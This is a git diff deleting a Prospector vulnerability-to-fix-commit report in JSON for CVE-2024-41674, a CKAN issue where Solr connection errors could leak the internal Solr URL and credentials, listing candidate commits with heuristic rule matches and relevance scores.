    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json deleted file mode 100644 index 2c5ee6fc3..000000000 --- a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json +++ /dev/null @@ -1,2402 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2024-41674", - "repository_url": "https://github.com/apache/lucene-solr", - "version_interval": "2.0:2.10.5", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2024-41674", - "description": "CKAN is an open-source data management system for powering data hubs and data portals. If there were connection issues with the Solr server, the internal Solr URL (potentially including credentials) could be leaked to package_search calls as part of the returned error message. This has been patched in CKAN 2.10.5 and 2.11.0.", - "reserved_timestamp": 1721316107, - "published_timestamp": 1724250686, - "updated_timestamp": 1724254342, - "repository_url": null, - "references": { - "": 45, - "https://github.com/ckan/ckan/security/advisories/GHSA-2rqw-cfhc-35fh": 2, - "commit::f6b032cd7082d784938165bbd113557639002ca7": 2, - "https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax": 2, - "https://github.com/features/actions": 1, - "https://github.com/features/packages": 1, - "https://github.com/features/security": 1, - "https://github.com/features/codespaces": 1, - "https://github.com/features/copilot": 1, - "https://github.com/features/code-review": 1, - "https://github.com/features/issues": 1, - "https://github.com/features/discussions": 1, - "https://github.com/features": 1, - "https://docs.github.com": 1, - "https://skills.github.com": 1, - "https://github.blog": 1, - "https://github.com/enterprise": 1, - "https://github.com/team": 1, - "https://github.com/enterprise/startups": 1, - "https://github.com/solutions/industries/healthcare": 1, - "https://github.com/solutions/industries/financial-services": 1, - "https://github.com/solutions/industries/manufacturing": 1, - "https://github.com/solutions/ci-cd": 1, - "https://github.com/solutions/devops": 1, - "https://github.com/solutions/devsecops": 1, - "https://resources.github.com/learn/pathways": 1, - "https://resources.github.com": 1, - "https://github.com/customer-stories": 1, - "https://partner.github.com": 1, - "https://github.com/readme": 1, - "https://github.com/topics": 1, - "https://github.com/trending": 1, - "https://github.com/collections": 1, - "https://github.com/enterprise/advanced-security": 1, - "https://github.com/pricing": 1, - "https://github.com": 1, - "https://docs.github.com/site-policy/github-terms/github-terms-of-service": 1, - "https://docs.github.com/site-policy/privacy-policies/github-privacy-statement": 1, - "https://github.com/security": 1, - "https://www.githubstatus.com/": 1, - "https://docs.github.com/": 1, - "https://support.github.com?tags=dotcom-footer": 1 - }, - "affected_products": [ - "Solr", - "URL", - "CKAN", - "ckan" - ], - "versions": { - "version": ">= 2.0, < 2.10.5", - "status": "affected" - }, - "files": [ - "URL", - "package_search", - "open-source", - "CKAN" - ], - "keywords": [ - "connection", - "server", - "message", - "call", - "error", - "power", - "leak", - "issue", - "portal", - "include", - "source", - "solr", - "datum", - "credential", - "management", - "patch", - "return", - "part", - "system", - "ckan" - ], - "files_extension": [], - "has_fixing_commit": true - }, - "commits": [ - { - "commit_id": "f6b032cd7082d784938165bbd113557639002ca7", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724064370, - "hunks": 0, - "message": "Merge commit from fork [2.10] Fix for Solr connection errors leaking details", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "COMMIT_IN_REFERENCE", - "message": "This commit is mentioned 2 times in the references.", - "relevance": 64 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: solr, leak, connection, error", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "5b73f29da75bda0a4426d1ff7ba39491892ba07b", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1700691500, - "hunks": 4, - "message": "ensure consistency by returning email addresses in lowercase from the email_validator", - "changed_files": [ - "ckan/logic/action/create.py", - "ckan/logic/validators.py", - "ckan/tests/logic/test_validators.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: return", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "50cb4433508cb63b6e13d1660da1bfe4caa80cfa", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723468158, - "hunks": 1, - "message": "Fix resource proxy download proxy setting Don't pass a dict with None values if not set, otherwise we get an error from urllib3 ``` Max retries exceeded with url: http://maps.nlsc.gov.tw/S_Maps/wmts (Caused by ProxyError('Unable to connect to proxy', NameResolutionError(\": Failed to resolve 'none' ([Errno -3] Temporary failure in name resolution)\"))) ``` (cherry picked from commit c6afef0e16e7ed4bf5eee48e25b1f260459e374c)", - "changed_files": [ - "ckanext/resourceproxy/blueprint.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "5358570d6b11a21b4367a5448d85409a4e9c96ec" - ], - [ - "no-tag", - "c6afef0e16e7ed4bf5eee48e25b1f260459e374c" - ] - ], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source, connection, error", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: source", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "6c40a56477d3cd7a6b62d4bf53cf7cfe0aafb3e1", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724665062, - "hunks": 118, - "message": "feat: upgrade SQLAlchemy to v2", - "changed_files": [ - "ckan/config/environment.py", - "ckan/lib/dictization/__init__.py", - "ckan/lib/dictization/model_dictize.py", - "ckan/logic/__init__.py", - "ckan/logic/action/get.py", - "ckan/logic/action/update.py", - "ckan/logic/validators.py", - "ckan/model/__init__.py", - "ckan/model/api_token.py", - "ckan/model/dashboard.py", - "ckan/model/follower.py", - "ckan/model/group.py", - "ckan/model/meta.py", - "ckan/model/package.py", - "ckan/model/resource_view.py", - "ckan/model/tag.py", - "ckan/model/types.py", - "ckan/model/user.py", - "ckan/types/logic/action_result.py", - "ckan/types/model.py", - "ckan/views/api.py", - "ckanext/activity/logic/action.py", - "ckanext/activity/logic/auth.py", - "ckanext/activity/model/activity.py", - "ckanext/datastore/backend/postgres.py", - "ckanext/stats/stats.py", - "requirements.in" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: package_search", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: source", - "relevance": 4 - } - ] - }, - { - "commit_id": "c4e6b4e2ee645d30d4d18a228c5f90e213dd66c4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1720448659, - "hunks": 5507, - "message": "[i18n] Pull translations from transifex", - "changed_files": [ - "ckan/i18n/am/LC_MESSAGES/ckan.po", - "ckan/i18n/ar/LC_MESSAGES/ckan.po", - "ckan/i18n/bg/LC_MESSAGES/ckan.po", - "ckan/i18n/bs/LC_MESSAGES/ckan.po", - "ckan/i18n/ca/LC_MESSAGES/ckan.po", - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", - "ckan/i18n/da_DK/LC_MESSAGES/ckan.po", - "ckan/i18n/de/LC_MESSAGES/ckan.po", - "ckan/i18n/el/LC_MESSAGES/ckan.po", - "ckan/i18n/en_AU/LC_MESSAGES/ckan.po", - "ckan/i18n/en_GB/LC_MESSAGES/ckan.po", - "ckan/i18n/es/LC_MESSAGES/ckan.po", - "ckan/i18n/es_AR/LC_MESSAGES/ckan.po", - "ckan/i18n/eu/LC_MESSAGES/ckan.po", - "ckan/i18n/fa_IR/LC_MESSAGES/ckan.po", - "ckan/i18n/fi/LC_MESSAGES/ckan.po", - "ckan/i18n/fr/LC_MESSAGES/ckan.po", - "ckan/i18n/gl/LC_MESSAGES/ckan.po", - "ckan/i18n/gl_ES/LC_MESSAGES/ckan.po", - "ckan/i18n/he/LC_MESSAGES/ckan.po", - "ckan/i18n/hr/LC_MESSAGES/ckan.po", - "ckan/i18n/hu/LC_MESSAGES/ckan.po", - "ckan/i18n/id/LC_MESSAGES/ckan.po", - "ckan/i18n/is/LC_MESSAGES/ckan.po", - "ckan/i18n/it/LC_MESSAGES/ckan.po", - "ckan/i18n/ja/LC_MESSAGES/ckan.po", - "ckan/i18n/km/LC_MESSAGES/ckan.po", - "ckan/i18n/ko_KR/LC_MESSAGES/ckan.po", - "ckan/i18n/lt/LC_MESSAGES/ckan.po", - "ckan/i18n/lv/LC_MESSAGES/ckan.po", - "ckan/i18n/mk/LC_MESSAGES/ckan.po", - "ckan/i18n/mn_MN/LC_MESSAGES/ckan.po", - "ckan/i18n/my_MM/LC_MESSAGES/ckan.po", - "ckan/i18n/nb_NO/LC_MESSAGES/ckan.po", - "ckan/i18n/ne/LC_MESSAGES/ckan.po", - "ckan/i18n/nl/LC_MESSAGES/ckan.po", - "ckan/i18n/no/LC_MESSAGES/ckan.po", - "ckan/i18n/pl/LC_MESSAGES/ckan.po", - "ckan/i18n/pt_BR/LC_MESSAGES/ckan.po", - "ckan/i18n/pt_PT/LC_MESSAGES/ckan.po", - "ckan/i18n/ro/LC_MESSAGES/ckan.po", - "ckan/i18n/ru/LC_MESSAGES/ckan.po", - "ckan/i18n/sk/LC_MESSAGES/ckan.po", - "ckan/i18n/sl/LC_MESSAGES/ckan.po", - "ckan/i18n/sq/LC_MESSAGES/ckan.po", - "ckan/i18n/sr/LC_MESSAGES/ckan.po", - "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po", - "ckan/i18n/sv/LC_MESSAGES/ckan.po", - "ckan/i18n/th/LC_MESSAGES/ckan.po", - "ckan/i18n/tr/LC_MESSAGES/ckan.po", - "ckan/i18n/uk_UA/LC_MESSAGES/ckan.po", - "ckan/i18n/vi/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL, open-source", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "6382ad97f98dbbbbfbaf30b7dab9520ace071131", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1716472914, - "hunks": 31185, - "message": "[i18n] Add new strings from the pot file to po files", - "changed_files": [ - "ckan/i18n/am/LC_MESSAGES/ckan.po", - "ckan/i18n/ar/LC_MESSAGES/ckan.po", - "ckan/i18n/bg/LC_MESSAGES/ckan.po", - "ckan/i18n/bs/LC_MESSAGES/ckan.po", - "ckan/i18n/ca/LC_MESSAGES/ckan.po", - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", - "ckan/i18n/da_DK/LC_MESSAGES/ckan.po", - "ckan/i18n/de/LC_MESSAGES/ckan.po", - "ckan/i18n/el/LC_MESSAGES/ckan.po", - "ckan/i18n/en_AU/LC_MESSAGES/ckan.po", - "ckan/i18n/en_GB/LC_MESSAGES/ckan.po", - "ckan/i18n/es/LC_MESSAGES/ckan.po", - "ckan/i18n/es_AR/LC_MESSAGES/ckan.po", - "ckan/i18n/eu/LC_MESSAGES/ckan.po", - "ckan/i18n/fa_IR/LC_MESSAGES/ckan.po", - "ckan/i18n/fi/LC_MESSAGES/ckan.po", - "ckan/i18n/fr/LC_MESSAGES/ckan.po", - "ckan/i18n/gl/LC_MESSAGES/ckan.po", - "ckan/i18n/he/LC_MESSAGES/ckan.po", - "ckan/i18n/hr/LC_MESSAGES/ckan.po", - "ckan/i18n/hu/LC_MESSAGES/ckan.po", - "ckan/i18n/id/LC_MESSAGES/ckan.po", - "ckan/i18n/is/LC_MESSAGES/ckan.po", - "ckan/i18n/it/LC_MESSAGES/ckan.po", - "ckan/i18n/ja/LC_MESSAGES/ckan.po", - "ckan/i18n/km/LC_MESSAGES/ckan.po", - "ckan/i18n/ko_KR/LC_MESSAGES/ckan.po", - "ckan/i18n/lt/LC_MESSAGES/ckan.po", - "ckan/i18n/lv/LC_MESSAGES/ckan.po", - "ckan/i18n/mk/LC_MESSAGES/ckan.po", - "ckan/i18n/mn_MN/LC_MESSAGES/ckan.po", - "ckan/i18n/my_MM/LC_MESSAGES/ckan.po", - "ckan/i18n/nb_NO/LC_MESSAGES/ckan.po", - "ckan/i18n/ne/LC_MESSAGES/ckan.po", - "ckan/i18n/nl/LC_MESSAGES/ckan.po", - "ckan/i18n/no/LC_MESSAGES/ckan.po", - "ckan/i18n/pl/LC_MESSAGES/ckan.po", - "ckan/i18n/pt_BR/LC_MESSAGES/ckan.po", - "ckan/i18n/pt_PT/LC_MESSAGES/ckan.po", - "ckan/i18n/ro/LC_MESSAGES/ckan.po", - "ckan/i18n/ru/LC_MESSAGES/ckan.po", - "ckan/i18n/sk/LC_MESSAGES/ckan.po", - "ckan/i18n/sl/LC_MESSAGES/ckan.po", - "ckan/i18n/sq/LC_MESSAGES/ckan.po", - "ckan/i18n/sr/LC_MESSAGES/ckan.po", - "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po", - "ckan/i18n/sv/LC_MESSAGES/ckan.po", - "ckan/i18n/th/LC_MESSAGES/ckan.po", - "ckan/i18n/tl/LC_MESSAGES/ckan.po", - "ckan/i18n/tr/LC_MESSAGES/ckan.po", - "ckan/i18n/uk/LC_MESSAGES/ckan.po", - "ckan/i18n/uk_UA/LC_MESSAGES/ckan.po", - "ckan/i18n/vi/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL, open-source", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "5f3317010965b23970249410376564983aaf51a4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724226389, - "hunks": 971, - "message": "[i18n] Pull translations ahead of 2.10.5", - "changed_files": [ - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", - "ckan/i18n/de/LC_MESSAGES/ckan.po", - "ckan/i18n/gl/LC_MESSAGES/ckan.po", - "ckan/i18n/gl_ES/LC_MESSAGES/ckan.po", - "ckan/i18n/he/LC_MESSAGES/ckan.po", - "ckan/i18n/ja/LC_MESSAGES/ckan.po", - "ckan/i18n/lv/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL, open-source", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - } - ] - }, - { - "commit_id": "3cb5af251b5bfa0a7528d7ca3bea354ee1b7d0b3", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723505166, - "hunks": 7, - "message": "[#5713] copy resources tests", - "changed_files": [ - "ckan/logic/action/update.py", - "ckan/tests/logic/action/test_create.py", - "ckan/tests/logic/action/test_delete.py", - "ckan/tests/logic/action/test_patch.py", - "ckan/tests/logic/action/test_update.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "5713": "update resources faster with package_update #8360" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: patch", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 5713", - "relevance": 2 - } - ] - }, - { - "commit_id": "c73f26064ab3a54422845fd8e2437f424b7f7cc8", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1716472390, - "hunks": 503, - "message": "[i18n] Update pot file for 2.11", - "changed_files": [ - "ckan/i18n/ckan.pot" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL", - "relevance": 8 - } - ] - }, - { - "commit_id": "38c89aae62eb5f8884169eca5e53ba75a95223d4", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1704839317, - "hunks": 6, - "message": "add email_is_unique validator", - "changed_files": [ - "ckan/logic/schema.py", - "ckan/logic/validators.py", - "ckan/tests/logic/test_validators.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: URL", - "relevance": 8 - } - ] - }, - { - "commit_id": "4cccbccb57e2fca1eddae311b394049e64ab360d", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724073465, - "hunks": 68, - "message": "[i18n] Pull translations", - "changed_files": [ - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po", - "ckan/i18n/mk/LC_MESSAGES/ckan.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "8482508735dec48a6a9782a1eee7e60eed84ba1d" - ] - ], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "72c9ba39b9b36cf8d91b776a77a8657932aadd04", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724226482, - "hunks": 0, - "message": "[i18n] Compile mo files", - "changed_files": [ - "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo", - "ckan/i18n/de/LC_MESSAGES/ckan.mo", - "ckan/i18n/gl/LC_MESSAGES/ckan.mo", - "ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo", - "ckan/i18n/ja/LC_MESSAGES/ckan.mo", - "ckan/i18n/lv/LC_MESSAGES/ckan.mo", - "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo", - "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "98b0523914ff1d2ee83c95eb56a118ce9de301fa" - ] - ], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: message", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "622ae3e0f05b24ea76c96fd01853fb92bb70ef2b", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724122896, - "hunks": 11, - "message": "[#8395] various test fixes", - "changed_files": [ - "ckan/logic/action/delete.py", - "ckan/logic/action/get.py", - "ckan/tests/lib/search/test_search.py", - "ckan/tests/logic/action/test_create.py", - "ckan/tests/logic/action/test_update.py", - "ckanext/example_iresourcecontroller/tests/test_example_iresourcecontroller.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: source", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "756f133a119635dfcaf6e09787eaf8e721efaf35", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1724096071, - "hunks": 14, - "message": "[#8395] datastore: use resource_patch for active flag", - "changed_files": [ - "ckan/tests/lib/search/test_query.py", - "ckan/tests/lib/search/test_search.py", - "ckanext/activity/tests/test_changes.py", - "ckanext/datastore/logic/action.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source, patch", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "a424975a72b63c15d88af04916afb6f36c763504", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723753143, - "hunks": 13, - "message": "[#8395] search-index rebuild error code, simplify", - "changed_files": [ - "ckan/cli/search_index.py", - "ckan/lib/search/__init__.py", - "ckan/logic/__init__.py", - "ckan/tests/cli/test_search_index.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: error", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "307041f218eb6d823c356112942e22b5a7b8fa2f", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723751786, - "hunks": 3, - "message": "[#8395] resource_create defer_commit requires reindex", - "changed_files": [ - "ckan/logic/action/create.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "e9353217db787e1e986c542229664609aee86e36", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723745630, - "hunks": 0, - "message": "Merge pull request #8400 from Roconda/backport-500-instead-of-405 [Backport dev-v2.10] App returns 500 error instead of 405", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8400": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: return, error", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8400", - "relevance": 2 - } - ] - }, - { - "commit_id": "b70b035ba75fc9a0dc7ee01f3033f1803bc51fd3", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723639051, - "hunks": 0, - "message": "Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10 [Backport dev-v2.10] Fix resource proxy download proxy setting", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8394": "Fix resource proxy download proxy setting #8392" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8394", - "relevance": 2 - } - ] - }, - { - "commit_id": "17f5c3bc6aadd680f4cc41e199c705ab8fe5d587", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723577097, - "hunks": 35, - "message": "[#8395] simpler package indexing, no system plugins", - "changed_files": [ - "changes/8395.feature", - "ckan/config/environment.py", - "ckan/lib/search/__init__.py", - "ckan/logic/__init__.py", - "ckan/logic/action/create.py", - "ckan/logic/action/delete.py", - "ckan/logic/action/update.py", - "ckan/model/modification.py", - "ckan/plugins/core.py", - "ckan/tests/plugins/test_core.py", - "ckan/tests/pytest_ckan/ckan_setup.py", - "ckan/tests/pytest_ckan/fixtures.py", - "setup.cfg" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8395": "simpler package indexing, no system plugins #8396" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8395", - "relevance": 2 - } - ] - }, - { - "commit_id": "9dc0ef5512097450b678b7fcb7562481dc3c1363", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723557180, - "hunks": 0, - "message": "Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11 [Backport dev-v2.11] Fix resource proxy download proxy setting", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8393": "Fix resource proxy download proxy setting #8392" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8393", - "relevance": 2 - } - ] - }, - { - "commit_id": "81b5cbeb14297476b8d1a8030edc6d2b166fadcd", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723555251, - "hunks": 0, - "message": "Merge pull request #8386 from avdata99/include_site_user_id Include the site_user id in `get_site_user` fn", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8386": "" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: include", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8386", - "relevance": 2 - } - ] - }, - { - "commit_id": "99590a131541b84f00641ff3bdc9cbb3246dbead", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723555063, - "hunks": 0, - "message": "Merge pull request #8392 from ckan/fix-download-proxy Fix resource proxy download proxy setting", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8392": "[Backport dev-v2.11] Fix resource proxy download proxy setting #8393 [Backport dev-v2.10] Fix resource proxy download proxy setting #8394 Backport ckan/ckan PR#8354 to 2.9 derilinx/ckan-backports#2" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8392", - "relevance": 2 - } - ] - }, - { - "commit_id": 